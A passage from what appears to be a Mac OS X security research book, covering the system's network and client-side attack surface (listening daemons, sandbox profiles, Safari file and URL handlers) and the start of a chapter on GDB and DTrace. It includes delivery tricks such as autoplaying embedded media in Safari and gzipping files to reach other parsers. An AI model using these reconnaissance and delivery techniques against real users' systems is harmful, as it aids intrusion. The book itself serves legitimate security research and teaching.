exposed part of a system is called the attack surface. In this chapter you will learn 
to look at the Mac OS X system and determine the code available to attackers, 
including attackers able to send packets to the system in question (server-side 
attacks) as well as attackers who can convince a Mac OS X user to connect to 
them with some piece of software (client-side attacks). Special consideration will 
be given to applications and pieces of the operating system that are exposed 
out of the box or by default in Mac OS X.

Searching the Server Side

There are many interesting services and listening ports on Mac OS X Server. 
Because so few computers in the world are running this operating system, 
however, this book will stick to looking at the attack surface of the standard 
Mac OS X. 

At the lowest level, Mac OS X processes network traffi c. That is to say, there 
may be bugs lurking in the IP stack in the operating system. Out of the box, 
Mac OS X consumes TCP, UDP, ICMP, and other types of packets. Since this 
low-level code is based on FreeBSD, it will probably be tough to fi nd a vulner-
ability in it, but you never know. Besides the wired protocol stack, there are 

C H A P T E R 

3

Attack Surface
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also the drivers associated with Bluetooth and the wireless card. The associ-
ated code was all written by Apple, so perhaps there are vulnerabilities to fi nd 
in it. Recall the big 2006 scandal in which David Maynor and Johnny “Cache” 
Ellch allegedly found some bugs in the MacBook wireless drivers that allowed 
them to take over any MacBook remotely. While the validity of this story was 
never confi rmed, the best thing about attacking at these lowest levels is that if 
it works, you automatically get root. 

Since not everyone is into kernel-level bugs and exploits, the more obvious 
place to look is at the applications that run in Mac OS X. In other words, look for 
the open TCP and UDP ports and determine what applications are associated 
with them. Out of the box, not many things are exposed to remote attackers. 
The command in the following code snippet will list the processes that are 
listening by default.

$ sudo lsof -P | grep IPv | grep -v localhost

ntpd       14           root   20u     IPv4 0t0       UDP *:123

ntpd       14           root   21u     IPv6 0t0       UDP *:123

ntpd       14           root   26u     IPv4 0t0       UDP 192.168.1.4:123

mDNSRespo  21 _mdnsresponder    7u     IPv4 0t0       UDP *:5353

mDNSRespo  21 _mdnsresponder    8u     IPv6 0t0       UDP *:5353

configd    33           root    8u     IPv4 0t0       UDP *:*

configd    33           root   11u     IPv6 0t0    ICMPV6 *:*

SystemUIS  87           cmiller 9u     IPv4 0t0       UDP *:*

cupsd     601           root    9u     IPv4 0t0       UDP *:631

By examining the output, you can observe there are no open TCP ports. There 
are three open UDP ports, however, which have ntpd, mDNSResponder, and 
cupsd listening, respectively. Confi gd and SystemUIServer are not bound to 
any particular port. The Network Time Protocol daemon, ntpd, is a well-known 
open-source server. cupsd is the daemon responsible for printing on many UNIX 
systems. It too is a well-known open-source server; however, the Common Unix 
Printing System (CUPS) has a long history of security bugs. Looking closer at 
the lsof output in the code example shows that cupsd is listening only on the 
external interface on UDP port 631. This implies that only a small subset of the 
functionality of CUPS is exposed by default (for instance, the administrative 
web interface is not accessible). The remaining service, mDNSResponder, is the 
only one of the three that is written by Apple and not widely used.

Because mDNSResponder is the only Apple-written daemon that processes 
packets out of the box, the previous chapter looked briefl y at the protocol used by 
it, as well as some of the source code from it. Apple is committed to having Bonjour 
running out of the box on their systems, but they have done what they can to mini-
mize the resulting exposure. First, Bonjour doesn’t run as root, but rather as the 
unprivileged _mdnsresponder user. Even more critically, though, this program is 
run within a tightly controlled sandbox. ntpd is also run in a sandbox. (Curiously, 
cupsd is not.) The following is the sandbox fi le for mDNSResponder.
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(version 1)

; WARNING: The sandbox rule capabilities and syntax used in this file 

are currently an

; Apple SPI (System Private Interface) and are subject to change at any 

time without notice.

; Apple may in future announce an official public supported sandbox API, 

but until then Developers

; are cautioned not to build products that use or depend on the sandbox 

facilities illustrated here.

; Use “debug all” to log all operations examined by seatbelt, whether 

allowed or not.

; Use “debug deny” to log only operations that are denied by seatbelt

; to discover what specific attempted operation is causing an exception.

;(debug all)

(debug deny)

; To help debugging, “with send-signal SIGFPE” will trigger a fake 

floating-point exception,

; which will crash the process and show the call stack leading to the 

offending operation.

; For the shipping version “deny” is probably better because it vetoes 

the operation

; without killing the process.

(deny default)

;(deny default (with send-signal SIGFPE))

; Special exception: “send-signal” command does not apply to the mach-* 

operations,

; so for those we have to use a plain unadorned “deny” instead

; (which means we may not get any notification of unintentional mach-* 

denials)

(deny mach-lookup)

(deny mach-priv-host-port)

; Mach communications

; These are needed for things like getpwnam, hostname changes, & 

keychain

(allow mach-lookup (global-name

                                        “com.apple.bsd.dirhelper”

“com.apple.distributed_notifications.2”

                                        “com.apple.ocspd”

                                        “com.apple.mDNSResponderHelper”

                                        “com.apple.SecurityServer”

“com.apple.SystemConfiguration.configd”

“com.apple.system.DirectoryService.libinfo_v1”

“com.apple.system.notification_center”))
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; Rules to allow the operations mDNSResponder needs start here

(allow network*)                        ; Allow networking, including 

Unix Domain Sockets

(allow sysctl-read)                     ; To get hardware model 

information

(allow file-read-metadata)      ; Needed for dyld to work

(allow ipc-posix-shm)           ; Needed for POSIX shared memory

(allow file-read-data                 (regex “^/dev/random\$”))

(allow file-read-data file-write-data (regex “^/dev/console\$”))                

; Needed for syslog early in the boot process

(allow file-read-data                 (regex “^/dev/autofs_nowait\$”))  

; Used by CF to circumvent automount triggers

; Allow us to read and write our socket

(allow file-read*     file-write*     (regex 

“^/private/var/run/mDNSResponder\$”))

; Allow us to read system version, settings, and other miscellaneous 

necessary file system accesses

(allow file-read-data                 (regex 

“^/usr/sbin(/mDNSResponder)?\$”))          ; Needed for 

CFCopyVersionDictionary()

(allow file-read-data                 (regex “^/usr/share/icu/.*\$”))

(allow file-read-data                 (regex 

“^/usr/share/zoneinfo/.*\$”))

(allow file-read-data                 (regex 

“^/System/Library/CoreServices/SystemVersion.*\$”))

(allow file-read-data                 (regex 

“^/Library/Preferences/SystemConfiguration/preferences\.plist\$”))

(allow file-read-data                 (regex 

“^/Library/Preferences/(ByHost/)?\.GlobalPreferences.*\.plist\$”))

(allow file-read-data                 (regex 

“^/Library/Preferences/com\.apple\.security.*\.plist\$”))

(allow file-read-data                 (regex 

“^/Library/Preferences/com\.apple\.crypto\.plist\$”))

(allow file-read-data                 (regex 

“^/Library/Security/Trust Settings/Admin\.plist\$”))

(allow file-read-data                 (regex 

“^/System/Library/Preferences/com\.apple\.security.*\.plist\$”))

(allow file-read-data                 (regex 

“^/System/Library/Preferences/com\.apple\.crypto\.plist\$”))

; Allow access to System Keychain

(allow file-read-data                 (regex 

“^/System/Library/Security\$”))

(allow file-read-data                 (regex 

“^/System/Library/Keychains/.*\$”))

(allow file-read-data                 (regex 
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“^/Library/Keychains/System\.keychain\$”))

; Our Module Directory Services cache

(allow file-read-data                 (regex “^/private/var/tmp/mds/”))

(allow file-read* file-write*         (regex “^/private/var/tmp/mds/[0-

9]+(/|\$)”))

This code uses a deny-by-default policy. It does allow arbitrary network con-
nections to and from the application. The main restriction is that it carefully 
controls which fi les can be read and written. Therefore, even if you could run 
arbitrary code within the application, you couldn’t do many interesting things. 
A similar sandbox exists for ntpd. These sandboxes (if implemented correctly) 
effectively remove these applications from consideration by an attacker, or at 
the very least, make exploitation much more challenging.

There is one caveat to the sandboxes. The sandbox prevents the program in 
the sandbox and any of its children from doing anything interesting. It does 
not prevent them from passing data to applications that are not in a sandbox. 
This is one way it might be possible to escape from such a sandbox. Consider 
the following scenario. A system advertises, via the Bonjour protocol, that a 
new printer is available on the network. mDNSResponder notifi es CUPS (not in 
a sandbox) to add the printer. If there is a vulnerability in the way CUPS adds 
printers, you have just gotten access to a nonsandboxed application through 
the mDNSResponder sandbox! 

Taking all of this into consideration, if you’re looking for a server-side attack 
against a stock install of Mac OS X, your best bet is probably something like 
wireless drivers or a UDP-only attack against CUPS.

Before we conclude this discussion, please note that sometimes client pro-
grams open up ports which then become susceptible to remote attack, even 
if the user doesn’t connect to the attacker. iTunes is an example of this. When 
iTunes is launched, it listens on port 3689 (DAAP). This is the port iTunes uses 
for sharing music fi les. The interesting thing is that iTunes opens and listens on 
this port even if it is not confi gured for sharing music. The difference between 
music sharing being on and being off is that when it is off, iTunes doesn’t do 
much on that port.  The following shows that with music sharing disabled, but 
iTunes running, it still listens on a port.

$ lsof -P | grep iTunes | grep LISTEN

iTunes    7662 cmiller   17u    IPv4 0x5e0da68   0t0   TCP *:3689 

(LISTEN)

However, the following is an exchange between a DAAP client and this port 
when music sharing is off.

GET /server-info HTTP/1.1

TE: deflate,gzip;q=0.3
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Keep-Alive: 300

Connection: Keep-Alive, TE

Host: localhost:3689

User-Agent: libwww-perl/5.813

HTTP/1.1 501 Not Implemented

Date: Thu, 28 Aug 2008 01:39:15 GMT

DAAP-Server: iTunes/7.7.1 (Mac OS X)

Content-Type: application/x-dmap-tagged

Content-Length: 0

In this case, iTunes returns a 501 error regardless of the input. However, it 
still offers the possibility for an attacker to have the Mac remotely process some 
data that relies only on the user having the iTunes process running.

Nonstandard Listening Processes
By accessing the Sharing pane in the System Preferences, users often turn on 
other services; see Figure 3-1.

Figure 3-1:  The Sharing pane indicates which services are running.

The fi rst option listed is DVD or CD Sharing. This option shares out the user’s 
DVD or CD drive to the subnet. This service is advertised using Bonjour and 
resides on some randomly chosen port.

$ dns-sd -B _odisk._tcp

Browsing for _odisk._tcp
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Timestamp     A/R Flags if Domain  Service Type   Instance Name

20:37:29.601  Add     3  9 local.  _odisk._tcp.   Charlie Miller’s 

Computer

In this case, a look at netstat reveals that a new port has opened on 63378. 
Following up with lsof, we can see what application has been spawned by acti-
vating this option in the Sharing pane.

$ sudo lsof | grep 53358

ODSAgent  40560    root   3u   IPv6 0x3e78984   0t0   TCP *:53358 

(LISTEN)

It is /System/Library/CoreServices/ODSAgent.app. This program basically 
uses an HTTP-based protocol, but it does some authentication; see Figure 3-2.

Figure 3-2:  The data from a packet capture of a remote disk being authenticated

The client grabs what appears to be a .dmg or .iso image, whose name was 
provided by the server in the initial response. Within the data, you can see 
things like names of directories and fi les; see Figure 3-3.

The next item from the Sharing pane is Screen Sharing. This simply opens a 
VNC server on port 5900 and a Kerberos server on port 88. The Kerberos server 
is the standard krb5kdc application and is opened by the operating system the 
fi rst time it is needed. The VNC server is AppleVNCS. If you notice this running 
on a Mac, you may want to look for bugs in it.

Next is the File Sharing option. This opens a server on port 548 (afpovertcp). 
Looking at lsof, you see that launchd is listening on that port. That doesn’t tell 
you much, though, because like inetd/xinetd, launchd hands off inbound con-
nections to another application. 
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Figure 3-3:  A disk image is retrieved.

To see what will be launched, look in the LaunchDaemons directory for 
confi guration fi les containing the afpovertcp port.

$ cd /System/Library/LaunchDaemons/

$ grep -h -B 11 afpovertcp *

       <key>ProgramArguments</key>

       <array>

              <string>/usr/sbin/AppleFileServer</string>

       </array>

               <key>Sockets</key>

               <dict>

                     <key>Listener</key>

                     <dict>

                           <key>Bonjour</key>

                           <true/>

                           <key>SockServiceName</key>

                           <string>afpovertcp</string>

You see that AppleFileServer is the application that will be launched.

$ /usr/sbin/AppleFileServer -v

afpserver-530.8.3

AppleFileServer speaks Apple Filing Protocol (AFP), which functions much 
like the Network File System (NFS) protocol used by many UNIX systems, or 
the Server Message Block (SMB)/Common Internet File System (CIFS) used by 
Windows systems. 
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AppleFileServer has had bugs in the past (http://xforce.iss.net/xforce/
xfdb/16049) and probably has more bugs. If you fi nd it running on a target 
computer, take a closer look.

The next check box is Printer Sharing, which opens many ports.

> launchd       1           root   56u     IPv6 0t0       TCP *:515 

(LISTEN)

> launchd       1           root   61u     IPv4 0t0       TCP *:515 

(LISTEN)

> launchd       1           root   93u     IPv4 0t0       TCP *:139 

(LISTEN)

> launchd       1           root   94u     IPv4 0t0       TCP *:445 

(LISTEN)

8a13,16

> cupsd     45270           root    7u     IPv6 0t0       TCP 

localhost:631 (LISTEN)

> cupsd     45270           root    8u     IPv4 0t0       TCP 

localhost:631 (LISTEN)

> cupsd     45270           root   10u     IPv6 0t0       TCP *:631 

(LISTEN)

> cupsd     45270           root   13u     IPv4 0t0       TCP *:631 

(LISTEN)

Launchd will launch /usr/libexec/cups/daemon/cups-lpd on port 515 
(printer, and /user/sbin/smbd (netbios-ssn 139, microsoft-ds 445). CUPS will 
now listen on the external interface. If the client is sharing a printer, the avail-
able attack surface becomes quite large. 

The Web Sharing check box enables a standard Apache service on port 80. 
The webroot for this installation is at /Library/WebServer/Documents and the 
CGIs are in /Library/WebServer/CGI-Executables. By default, the CGI directory 
is empty, so no help there for an attacker.

The Remote Login option is a standard OpenSSH handled by launchd. The 
binary is at /usr/sbin/sshd. As of the writing of this book, the version string is 
OpenSSH_4.7p1, OpenSSL 0.9.7l 28 Sep 2006.

The fi nal option we’ll discuss is Remote Apple Events. There are a few other 
options available in the Sharing pane, but they are relatively obscure or benign.  
Remote Apple Events enables the AEServer handled by launchd on port 3031 
(eppc). This server allows remote users to run AppleScript programs on the 
computer running the AEServer. For example, on another computer, start the 
script editor (/Applications/AppleScript/Script Editor.app). Enter the following 
into the editor:

set remoteMac to “eppc://user:password@MachineName.local” 

using terms from application “Finder” 

tell application “Finder” of machine B 

get name of every disk 

end 

end 
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When that code is executed, it will return the names of the disks from the 
computer that is allowing remote Apple events. Note that this server does 
require authentication. That doesn’t mean there couldn’t be a pre-authentication 
bug, though!

Cutting into the Client Side

The attack surface when attacking Mac OS X clients is much larger than when 
restricting yourself to the server side. Any application that accesses the Internet 
is a potential target (as are many that don’t). Mac OS X is founded on the 
principle that things should be easy for the user; they should just work. For an 
attacker, this means the operating system is designed to handle a large number 
of formats and protocols automatically. For example, Safari will view just about 
any fi le format you can imagine. The key to determining the client-side attack 
surface is to understand exactly what types of fi les and protocols each applica-
tion is willing to consume. And understanding that relies on understanding 
the relationship between the applications and the fi les they process. 

Each application has an Info.plist fi le that declares the known URL protocols, 
extensions, MIME types, and fi le types the application can handle. In Mac OS 
X, LaunchServices is responsible for determining what application is associ-
ated with a given fi le type or extension. An application will get registered with 
LaunchServices whenever it is fi rst put on disk and its Info.plist fi le is processed. 
Note that, typically, downloading an application from the Internet will present 
the user with a warning, which prevents an attacker from automatically regis-
tering application associations without the user’s knowledge. 

The prototypical client-side application is Safari, the default web browser in 
Mac OS X. Look at its Info.plist fi le, which you can fi nd at /Applications/Safari.
app/Contents/Info.plist. What follows is the beginning of this fi le.

<?xml version=”1.0” encoding=”UTF-8”?>

<!DOCTYPE plist PUBLIC “-//Apple//DTD PLIST 1.0//EN” 

“http://www.apple.com/DTDs/PropertyList-1.0.dtd”>

<plist version=”1.0”>

<dict>

        <key>Application-Group</key>

        <string>dot-mac</string>

        <key>CFBundleDevelopmentRegion</key>

        <string>English</string>

        <key>CFBundleDocumentTypes</key>

        <array>

                <dict>

                        <key>CFBundleTypeExtensions</key>

                        <array>

                                <string>css</string>

                        </array>
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                        <key>CFBundleTypeIconFile</key>

                        <string>document.icns</string>

                        <key>CFBundleTypeMIMETypes</key>

                        <array>

                                <string>text/css</string>

                        </array>

                        <key>CFBundleTypeName</key>

                        <string>CSS style sheet</string>

                        <key>CFBundleTypeRole</key>

                        <string>Viewer</string>

                        <key>NSDocumentClass</key>

                        <string>BrowserDocument</string>

                </dict>

                <dict>

                        <key>CFBundleTypeExtensions</key>

                        <array>

                                <string>pdf</string>

                        </array>

                        <key>CFBundleTypeIconFile</key>

                        <string>document.icns</string>

                        <key>CFBundleTypeMIMETypes</key>

                        <array>

                                <string>application/pdf</string>

                        </array>

                        <key>CFBundleTypeName</key>

                        <string>PDF document</string>

                        <key>CFBundleTypeRole</key>

                        <string>Viewer</string>

                        <key>NSDocumentClass</key>

                        <string>BrowserDocument</string>

                </dict>

                <dict>

The fi rst important key is CFBundleDocumentTypes. This indicates the types 
of documents supported by the bundle. In this case it is an array of such types. 
The fi rst is a CSS style sheet. This type of document has a fi le extension of .css 
and a MIME type of text/css. Based on the CFBundleTypeRole, Safari is regis-
tered as a viewer of this type. The next entry in the array is a PDF document, 
for which Safari is also a viewer.

The following list reveals what each key means in the CFBundleDocumentTypes 
array.

CFBundleTypeExtensions: The fi le name extension for the fi le

CFBundleTypeIconFile: The icon in the bundle that Finder should associate 
with the fi le type

CFBundleTypeMIMETypes: The MIME type for the fi le

CFBundleTypeName: The text that will be shown in Finder to describe 
the fi le
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CFBundleTypeRole: Specifi es whether the program can open (Viewer), 
open and save (Editor), or is simply a shell to another program

LSIsAppleDefaultForType: Specifi es whether the bundle should be the 
default application for this type

As we mentioned earlier, LaunchServices compiles all of this application 
information and stores it in a database. Querying this database, for example, 
determines what application is launched when a fi le is double-clicked in a Finder 
window. This database can be viewed by the lsregister program, as seen in the 
following output.

$/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks

/LaunchServices.framework/Versions/A/Support/lsregister -dump

Checking data integrity......done.

Status: Database is seeded.

…

bundle  id:            55728

        path:          /Applications/Safari.app

        name:          Safari

        identifier:    com.apple.Safari (0x80007605)

        canonical id:  com.apple.safari (0x8000030f)

        version:       5525.20.1

        mod date:      7/7/2008 8:57:33

        reg date:      7/7/2008 9:03:34

        type code:     ‘APPL’

        creator code:  ‘sfri’

        sys version:   10.5

        flags:         apple-internal  relative-icon-path  handles-file-

url  quarantined

        item flags:    container  package  application  extension-hidden  

native-app  scriptable  services  ppc  i386

        icon:          Contents/Resources/compass.icns

        executable:    Contents/MacOS/Safari

        inode:         565157

        exec inode:    8145048

        container id:  32

        library:

        library items:

…

        --------------------------------------------------------

        claim   id:            29988

                name:          CSS style sheet

                rank:          Default

                roles:         Viewer

                flags:         apple-internal  relative-icon-path

                icon:          Contents/Resources/document.icns

                bindings:      .css, text/css

        --------------------------------------------------------

        claim   id:            30016

                name:          PDF document
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                rank:          Default

                roles:         Viewer

                flags:         apple-internal  relative-icon-path

                icon:          Contents/Resources/document.icns

                bindings:      .pdf, application/pdf

        --------------------------------------------------------

…     

The information from Info.plist is seen in the database. A graphical tool called 
RCDefaultApp (http://www.rubicode.com/Software/RCDefaultApp/) queries 
the LaunchServices database and presents the information in a more coherent 
form; see Figure 3-4.

Figure 3-4:  RCDefaultApp reveals that files with an atr extension are associated with 
QuickTime Player.

In this fi gure, RCDefaultApp indicates that any fi le with the extension “.atr” 
will be opened by the QuickTime Player. This particular fi le format is not used 
very often and therefore the code may not be well tested. Such obscure fi le 
formats can be fertile grounds for fuzzing; see Chapter 5, “Finding Bugs.” 
RCDefaultApp can be used to fi nd the application for each fi le format that the 
operating system recognizes.

Safari
Safari is the most feature-rich web browser in existence. Features, of course, 
require code, and additional code increases the attack surface. In this section 
you will see how to determine all the functionality accessible to an attacker 
when a Safari web browser visits the attacker’s website. 

Safari handles a number of fi le formats and MIME types natively and has 
extensive support for fi le formats with built-in plug-ins. The LaunchServices 
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database (derived from the Info.plist fi le and accessible via RCDefaultApp or from 
the Info.plist fi le directly) reveals the fi le types that are handled natively:

$ cd/Applications/Safari.app/Contents

$ grep -A3 CFBundleTypeExtensions Info.plist  | grep string

     <string>css</string>

     <string>pdf</string>

     <string>webarchive</string>

     <string>syndarticle</string>

     <string>webbookmark</string>

     <string>webhistory</string>

     <string>webloc</string>

     <string>download</string>

     <string>gif</string>

     <string>html</string>

     <string>htm</string>

     <string>js</string>

     <string>jpg</string>

     <string>jpeg</string>

     <string>jp2</string>

     <string>txt</string>

     <string>text</string>

     <string>png</string>

     <string>tiff</string>

     <string>tif</string>

     <string>url</string>

     <string>ico</string>

     <string>xhtml</string>

     <string>xht</string>

     <string>xml</string>

     <string>xbl</string>

     <string>svg</string>

This list includes all fi le types handled remotely or locally, so they should 
be checked individually if you are looking for particular fi le types to attack 
remotely. For example, browsing to a “webarchive” fi le over the Internet will 
only download the fi le, not display it in Safari. Safari will natively render PDF, 
JPG, PNG, TIF, ICO, and SVG image formats. It also parses JavaScript, HTML, 
and XML.

Of course, with the help of plug-ins, there are many more fi le types supported. 
The easiest way to view these fi le types is to go to Help ➢ Installed Plug-ins in 
Safari; see Figure 3-5.

Figure 3-5 indicates that Safari handles .swf fi les with the Adobe Flash plug-
in, which is installed by default. The QuickTime plug-in reveals an additional 
59 fi le formats supported by Safari. It is hard to imagine a web browser that has 
no bugs when parsing more than 60 fi le formats. The Java plug-in represents 
yet another vector of attack through Safari.
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Figure 3-5:  The list of installed Safari plug-ins and their associated file types

All of Safari’s Children
In addition to the formats Safari handles through native code and multimedia 
plug-ins, it can spawn a large number of other applications through URL han-
dlers. Consult RCDefaultApp for a complete list; see Figure 3-6.

The number of possibilities is astounding. Want to launch the Dictionary.
app program and look up the defi nition of attack surface? Just go to the URL 
dict://attack surface; see Figure 3-7. Although there isn’t a large variety of 
data that can be passed to this application, it was undoubtedly not designed to 
withstand malicious input.
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Figure 3-6:  RCDefaultApp reveals all the programs that are associated with various URLs, 
in this case webcal://

Figure 3-7:  The Dictionary.app program launched from within Safari

Other interesting programs that can be launched include Address Book, iChat, 
iTunes, Help Viewer, iCal, Keynote, iPhoto, QuickTime Player, and, of course, 
Terminal and Finder. Sometimes the amount of data an attacker can input into 
these programs is very limited, but at the very least, simply by having a victim 
follow a link in Safari, it is possible to have the victim do the following:

 Open a VNC session via the Screen Sharing application ■

 Start an SMB or AFP session via Finder ■

 Start a DAAP or ITPC session with iTunes ■

 Begin an RTSP session with QuickTime Player ■
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Besides being a way to launch other processes, the URL handlers themselves 
may have vulnerabilities. For example, iPhoto and iChat have been guilty of 
format-string vulnerabilities in the way they handle URLs. 

This means simply by enticing a user to click on a link, the attacker may 
take advantage of a bug in the way Safari natively handles HTML, JavaScript, 
a handful of image formats, anything QuickTime Player plays, or any bugs in 
a variety of other software on the system—including Finder and iTunes. There 
is a very large attack surface for Safari! 

Safe File Types
One of the great things about Safari, from a usability (or attack) perspective, is 
that it will open many fi le types automatically. Many security warnings issued 
against Apple will contain the phrase “Turn off automatic opening of safe fi les,” 
but what exactly is a safe fi le and which fi le types are considered safe?

The answer to this question can be found in the /System/Library/
CoreServices/CoreTypes.bundle/Contents/Resources/System fi le. This is an 
XML fi le that contains a list of fi le types (and MIME types and extensions) 
considered safe, neutral, or unsafe. The following is an excerpt from the begin-
ning of this fi le.

<?xml version=”1.0” encoding=”UTF-8”?>

<!DOCTYPE plist PUBLIC “-//Apple Computer//DTD PLIST 1.0//EN” 

“http://www.apple.com/DTDs/PropertyList-1.0.dtd”>

<plist version=”1.0”>

<dict>

        <key>LSRiskCategorySafe</key>

        <dict>

                <key>LSRiskCategoryContentTypes</key>

                <array>

                        <string>com.adobe.encapsulated-postscript

</string>

                        <string>com.adobe.illustrator.ai-image</string>

                        <string>com.adobe.pdf</string>

                        <string>com.adobe.photoshop-image</string>

                        <string>com.adobe.postscript</string>

                        <string>com.apple.dashboard-widget</string>

                        <string>com.apple.ical.ics</string>

                        <string>com.apple.icns</string>

                        <string>com.apple.installer-distribution-

package</string>

                        <string>com.apple.installer-package</string>

                        <string>com.apple.keynote.key</string>

                        <string>com.apple.pict</string>

                        <string>com.apple.protected-mpeg-4-audio

</string>

                        <string>com.apple.quicktime-image</string>     

…
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The possible categories include the following:

LSRiskCategorySafe: Totally safe; Safari will auto-open after download

LSRiskCategoryNeutral: No warning, but not auto-opened

LSRiskCategoryUnsafeExecutable: Triggers a warning “This fi le is an 
application…”

LSRiskCategoryMayContainUnsafeExecutable: This is for things like 
archives that contain an executable. It triggers a warning unless Safari 
can determine all the contents are safe or neutral

These settings can be overridden by the contents of the files /Library/
Preferences/com.apple.DownloadAssessment.plst and ~/Library/Preferences/
com.apple.DownloadAssessment.plst, which represent changes on a system-
wide or user level, respectively. Using this information, it is possible to deter-
mine exactly which fi les Safari will automatically launch.

Having Your Cake
Safari’s ability to handle many fi le formats through plug-ins and being able to 
launch applications means that often it is possible for an attacker to choose which 
way they want their malicious content to be handled, either by Safari or by an 
accompanying application. For example, in Chapter 8, “Heap Overfl ows,” you’ll 
learn to write reliable exploits in Safari by using JavaScript. It might be convenient 
to exercise a vulnerability within Safari’s process space. If a bug is discovered 
that is exploitable only after hitting the Play button in QuickTime Player, it is 
still possible to exercise the bug in Safari. The following HTML code embeds in 
a web page any fi le that QuickTime Player can process, and plays it.

<object width=”160” height=”144”

classid=”clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B”

codebase=”http://www.apple.com/qtactivex/qtplugin.cab”>

<param name=”src” value=”good.mov”>

<param name=”autoplay” value=”true”>

<param name=”controller” value=”true”>

<embed src=”good.mov” width=”160” height=”144”

autoplay=”true” controller=”true”

pluginspage=”http://www.apple.com/quicktime/download/”>

</embed>

</object>

Accessing this HTML will automatically play the movie , in this case good
.mov. Any corruption will occur in the same process space as Safari (including 
the JavaScript heap). 

Conversely, if you would rather exploit a separate binary for this type of 
vulnerability, that is possible too. This might be necessary if Safari were in a 
sandbox (which it isn’t currently) or if you wanted to make some assumptions 
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about memory layout, since Safari may have visited thousands of sites and be in 
an unknown state, but a newly launched application might be in a predictable 
state. The key to this is the way that Safari handles many fi le types automati-
cally, including gzip fi les. For many such fi les, if you access a gzip version of 
the fi le in Safari, it will automatically download, unzip it, and launch it in the 
default application for that type (according to LaunchServices). For example, if 
you’d rather exploit Preview than Safari with a GIF bug, simply gzip the image 
fi le and have the victim surf to the gzipped version. Safari will unzip it and 
render it with Preview.

Conclusion

A wise attacker will survey all the opportunities for attack and try the weakest 
spot. To do this, it is important to understand all the places where data enters 
the Mac OS X system. From the server side there aren’t many possibilities unless 
the user has enabled some additional software. From the client side, however, 
there are many ways to get data processed by a large number of client applica-
tions and libraries. At this point it is up to the attacker to pick a spot and start 
looking for problems. The remainder of this book will outline how to fi nd a 
vulnerability in a particular bit of code and how to exploit it to gain control of 
the victim’s machine.
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When looking for bugs or trying to exploit them, it is necessary to peer inside 
the workings of applications. This is commonly done with the use of a debug-
ger, such as the GNU debugger that comes with Xcode. There are some other 
useful tools for this purpose. One powerful feature that debuted in Leopard is 
DTrace, which is a kernel-level tracing API. There is also a Python interface to 
the debugging mechanisms in Mac OS X. Nevertheless, Apple wants some of 
their applications to not be traced with these mechanisms and tries to prevent 
this action. We’ll discuss ways around this prevention to allow tracing of even 
the most sensitive applications.

Pathetic ptrace

If you come from a Linux background, you may be familiar with the ptrace 
debugging facilities, which the Linux version of the GNU Debugger (GDB) is 
based on. It normally provides methods to attach and detach processes, read 
and write values to and from memory and registers, and offers mechanisms for 
program control such as single-stepping and continuing. This is not the case 
in Mac OS X, however.

In Mac OS X, there is indeed a ptrace() system call, but it is not fully func-
tional. It allows for attaching and detaching a process, stepping, and continuing, 

C H A P T E R 

4

Tracing and Debugging
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but does not allow for memory or registers to be read or written. Obviously a 
debugger without these functions would be useless.

One other Mac OS X ptrace feature worth discussing is the PT_DENY_
ATTACH ptrace request. This nonstandard request, available only on the Mac 
OS X version of ptrace, can be set by an application and denies future requests 
for processes to attach to it. This is a simple anti-debugging mechanism imple-
mented mostly for applications such as iTunes. We’ll discuss this more, as well 
as ways of circumventing it, later in the chapter.

Good Ol’ GDB

Aside from the peculiarities discussed in the previous section, GDB pretty 
much works as you would hope and expect on Leopard. This is because GDB 
in Mac OS X is not implemented via ptrace, but rather mostly using the Mach 
API. From the user’s point of view, this doesn’t matter. GBD just works; it dif-
fers only behind the scenes. That said, there are a few Mac OS X–specifi c GDB 
features worth mentioning.

There are a handful of Mach-specifi c commands available under the GDB 
info command. These allow you to get information about processes besides the 
one to which you might be attached and provide detailed information about 
the attached process as well. Consider this example:

(gdb) info mach-tasks

65 processes:

    gdb-i386-apple-d is 1499 has task 0xe07

    mdworker is 1430 has task 0x408f

    Preview is 1284 has task 0x1003

    Pages is 1072 has task 0x418f

Then, information about the processes can be obtained with commands such 

as,(gdb) info mach-task 0x418f

TASK_BASIC_INFO:

suspend_count:     0

virtual_size:     0x41647000

resident_size:     0x35e6000

TASK_THREAD_TIMES_INFO:

(gdb) info mach-threads 0x418f

Threads in task 0x418f:

    0x5403

    0x5503

    0x5603

    0x5703

    0x5803

    0x5903

    0x5a03

    0x5b03
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    0x5c03

    0x5d03

    0x5e03

    0x5f03

    0x6003

    0x6103

The most useful of these commands are info mach-regions and info mach-
region. The fi rst of these two commands gets all the information for mapped 
memory.

(gdb) info mach-regions 

Region from 0x0 to 0x1000 (—-, max —-; copy, private, not-reserved)

   …   from 0x1000 to 0xb2000 (r-x, max rwx; copy, private, not-reserved)

   …   from 0xb2000 to 0xc8000 (rw-, max rwx; copy, private, not-

reserved) (2 sub-regions)

…

This is useful for fi nding writable and executable sections of code during 
exploitation. It can also be used to fi nd large sections of mapped memory that 
you may have supplied as part of a heap spray (there’s more on this in Chapter 
8, “Exploiting Heap Overfl ows”). The fi nal command is used to fi nd the current 
region in which a given address resides:

(gdb) info mach-region 0xbfffee28

Region from 0xbfffe000 to 0xc0000000 (rw-, max rwx; copy, private, not-

reserved) (2 sub-regions)

DTrace

DTrace is a tracing framework available in Leopard that was originally developed 
at Sun for use in Solaris. It allows users access to applications at an extremely 
low level and provides a way for users to trace programs and even change their 
execution fl ow. What’s even better is that in most circumstances there is very 
little overhead in using DTrace, so the process still runs at full speed. DTrace is 
powerful because the underlying operating system and any applications that 
support it have been modifi ed with special DTrace “probes.” These probes are 
placed throughout the kernel and are at locations such as the beginning and end 
of system calls. DTrace may request to perform a user-supplied action at any com-
bination of these probes. The actions to be executed are written by the user using 
the D programming language, which will be discussed in the next section. 

When you call the dtrace command, behind the scenes the D compiler is 
invoked. The compiled program is sent to the kernel, where DTrace activates 
the probes required and registers the actions to be performed. Since all of this is 
done dynamically, the probes that are not needed are not enabled and so there 
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is little system slowdown. In other words, the traces are always in the kernel, 
but they perform actions only when enabled. 

D Programming Language
D is basically a small subset of C that lacks many control-fl ow constructs and 
has some additional DTrace-specifi c functions. Each D program consists of a 
number of clauses, each one describing which probe to enable and which action 
to take when that probe fi res. The following is the obligatory “hello world” 
program in D.

BEGIN 

{ 

        printf(“Hello world”); 

}

Copy this into a fi le called hello.d and execute it with the following:

$ sudo dtrace -s hello.d 

dtrace: script ‘hello.d’ matched 1 probe

CPU     ID                    FUNCTION:NAME

  0      1                           :BEGIN Hello world

You’ll have to type Ctrl+C to exit the program. This program uses a special 
probe called BEGIN, which fi res at the start of each new tracing request. 

